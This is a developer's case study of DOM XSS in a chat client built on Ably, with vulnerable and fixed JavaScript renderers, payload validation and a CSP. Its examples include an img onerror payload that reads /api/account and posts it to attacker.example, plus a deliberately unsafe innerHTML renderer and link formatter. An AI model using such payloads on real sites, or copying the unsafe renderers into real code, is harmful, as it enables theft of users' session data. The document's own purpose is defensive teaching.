Chat feels harmless until someone sends "<img src=x onerror=alert(1)>" and your UI happily executes it.
I’ve seen this exact pattern in real-time apps: the backend is fine, Ably is delivering messages exactly as designed, and the browser becomes the weak point because the frontend treats chat content like trusted HTML. That’s the whole bug.
This case study walks through a typical Ably chat setup, the vulnerable version I keep seeing in production, and the cleaned-up version that blocks XSS without making the chat experience miserable.
The setup
A pretty standard Ably chat client looks like this:
<ul id="messages"></ul>
<form id="chat-form">
<input id="message-input" autocomplete="off" />
<button type="submit">Send</button>
</form>
<script type="module">
import * as Ably from 'ably';
const client = new Ably.Realtime({ key: 'YOUR_ABLY_KEY' });
const channel = client.channels.get('room:general');
const form = document.getElementById('chat-form');
const input = document.getElementById('message-input');
const messages = document.getElementById('messages');
form.addEventListener('submit', async (e) => {
e.preventDefault();
const text = input.value;
await channel.publish('chat-message', {
username: 'alice',
text
});
input.value = '';
});
channel.subscribe('chat-message', (message) => {
renderMessage(message.data);
});
</script>
Nothing unusual there. The trouble starts in renderMessage.
Before: the vulnerable renderer
Here’s the version that gets teams into trouble:
function renderMessage(data) {
const li = document.createElement('li');
li.innerHTML = `
<strong>${data.username}</strong>: ${data.text}
`;
messages.appendChild(li);
}
This is classic DOM XSS.
If an attacker sends this as text:
<img src=x onerror="alert('XSS from chat')">
every subscribed client renders it as HTML. The browser parses the tag, triggers onerror, and runs attacker-controlled JavaScript.
If you want a more realistic payload, attackers usually aim for session theft, token abuse, or account actions rather than alert(1):
<img src=x onerror="
fetch('/api/account', {credentials:'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.example/steal', {
method: 'POST',
body: d
}))
">
That’s the real danger of chat XSS. One malicious message can hit every active user in a room. In a support dashboard or internal ops chat, that can become a very bad day.
Why Ably isn’t the vulnerability
Ably is just transporting your message payload. If you publish user-controlled strings and then inject them into the DOM with innerHTML, the bug is in your rendering logic.
I’m calling this out because teams sometimes say “we have an XSS issue in Ably chat.” Usually they mean “we built chat on Ably and rendered messages unsafely.”
That distinction matters because the fix is also in your app:
- treat all chat content as untrusted
- render text as text, not HTML
- validate optional metadata
- lock down the page with CSP
For Ably docs, stick to the official docs for message structure, auth, and channel permissions: https://ably.com/docs
The exploit path in the real world
A typical attack chain looks like this:
- Attacker joins a public or weakly protected channel.
- They send a crafted message payload.
- Every connected client receives it through
channel.subscribe(...). - The frontend uses
innerHTMLto display the message. - The payload executes in each victim’s browser.
If your app stores message history and replays it on reconnect, the XSS becomes persistent. That’s worse than reflected XSS because users keep getting hit long after the original message was sent.
After: safe message rendering
The simplest secure fix is also the best one: never use innerHTML for chat message text.
function renderMessage(data) {
const li = document.createElement('li');
const name = document.createElement('strong');
name.textContent = data.username;
const separator = document.createTextNode(': ');
const text = document.createTextNode(data.text);
li.appendChild(name);
li.appendChild(separator);
li.appendChild(text);
messages.appendChild(li);
}
textContent and createTextNode tell the browser to treat the content as literal text. So if the attacker sends:
<img src=x onerror=alert(1)>
users will see exactly that string in chat. No parsing. No execution.
That one change kills the main XSS vector.
Hardening the payload itself
I still like validating the message structure before rendering it. Not because validation replaces output encoding — it doesn’t — but because real apps get weird inputs over time.
function normalizeMessage(data) {
return {
username: typeof data.username === 'string'
? data.username.slice(0, 50)
: 'unknown',
text: typeof data.text === 'string'
? data.text.slice(0, 2000)
: ''
};
}
channel.subscribe('chat-message', (message) => {
const safeData = normalizeMessage(message.data);
renderMessage(safeData);
});
This helps with:
- giant payloads
- broken clients
- weird object shapes
- accidental rendering bugs later
I’d do this on both client and server if you have a server-side publish path.
The dangerous “formatted chat” upgrade
Teams often fix the first bug, then reintroduce it six months later when product asks for rich text, links, or emoji markup.
They go from this:
textNode.textContent = data.text;
to this:
messageBody.innerHTML = formatMessage(data.text);
Now the whole thing is vulnerable again unless formatMessage sanitizes correctly. And “correctly” is where people usually get overconfident.
Here’s a bad formatter:
function formatMessage(text) {
return text.replace(
/(https?:\/\/[^\s]+)/g,
'<a href="$1">$1</a>'
);
}
Looks innocent. It isn’t. If your regex or escaping is incomplete, attackers can break out of attributes or inject HTML around it.
If you need rich formatting, use a well-maintained sanitizer and a strict allowlist. If you don’t need rich formatting, don’t add it. Plain text chat is a lot easier to secure.
Rendering avatars and usernames safely
Another place I see XSS creep in is “harmless metadata”:
li.innerHTML = `
<img src="${data.avatarUrl}">
<strong>${data.username}</strong>
<span>${data.text}</span>
`;
Now you’ve got multiple injection points.
Safer version:
function renderMessage(data) {
const li = document.createElement('li');
const avatar = document.createElement('img');
avatar.alt = `${data.username}'s avatar`;
try {
const url = new URL(data.avatarUrl, window.location.origin);
if (url.protocol === 'https:' || url.protocol === 'http:') {
avatar.src = url.href;
} else {
avatar.src = '/images/default-avatar.png';
}
} catch {
avatar.src = '/images/default-avatar.png';
}
const name = document.createElement('strong');
name.textContent = data.username;
const text = document.createElement('span');
text.textContent = data.text;
li.appendChild(avatar);
li.appendChild(name);
li.appendChild(document.createTextNode(': '));
li.appendChild(text);
messages.appendChild(li);
}
Usernames and message text stay in textContent. URLs get parsed and protocol-checked. That’s the level of paranoia I want in chat UI.
CSP as the backup layer
A good Content Security Policy won’t fix unsafe DOM insertion, but it can reduce blast radius and block a lot of payloads.
A decent starting point for a chat app:
Content-Security-Policy:
default-src 'self';
script-src 'self';
connect-src 'self' https://*.ably.io wss://*.ably.io;
img-src 'self' data: https:;
style-src 'self';
base-uri 'none';
object-src 'none';
frame-ancestors 'none';
If your frontend currently relies on inline scripts, fix that rather than weakening CSP with 'unsafe-inline'.
For CSP implementation details, https://csp-guide.com is useful. For Ably-specific connection behavior and endpoints, use the official docs at https://ably.com/docs.
A practical before-and-after diff
This is the change that actually matters:
Before
channel.subscribe('chat-message', (message) => {
const li = document.createElement('li');
li.innerHTML = `<strong>${message.data.username}</strong>: ${message.data.text}`;
messages.appendChild(li);
});
After
channel.subscribe('chat-message', (message) => {
const data = normalizeMessage(message.data);
const li = document.createElement('li');
const strong = document.createElement('strong');
strong.textContent = data.username;
li.appendChild(strong);
li.appendChild(document.createTextNode(': '));
li.appendChild(document.createTextNode(data.text));
messages.appendChild(li);
});
That’s it. No fancy trick. No complex security framework. Just refusing to parse untrusted user input as HTML.
What I’d ship
If I were shipping an Ably chat client today, my baseline would be:
- render messages with
textContentonly - validate payload shape and length
- never trust usernames, avatars, or room metadata
- avoid rich text unless there’s a real product need
- use a strict CSP
- keep channel permissions tight so random users can’t publish everywhere
- review reconnect/history flows so stored messages don’t become persistent XSS delivery
The lesson here is simple: real-time delivery makes XSS spread faster, but the bug is still the same old browser-side mistake. If your Ably chat UI uses innerHTML with user input, assume it’s exploitable until proven otherwise.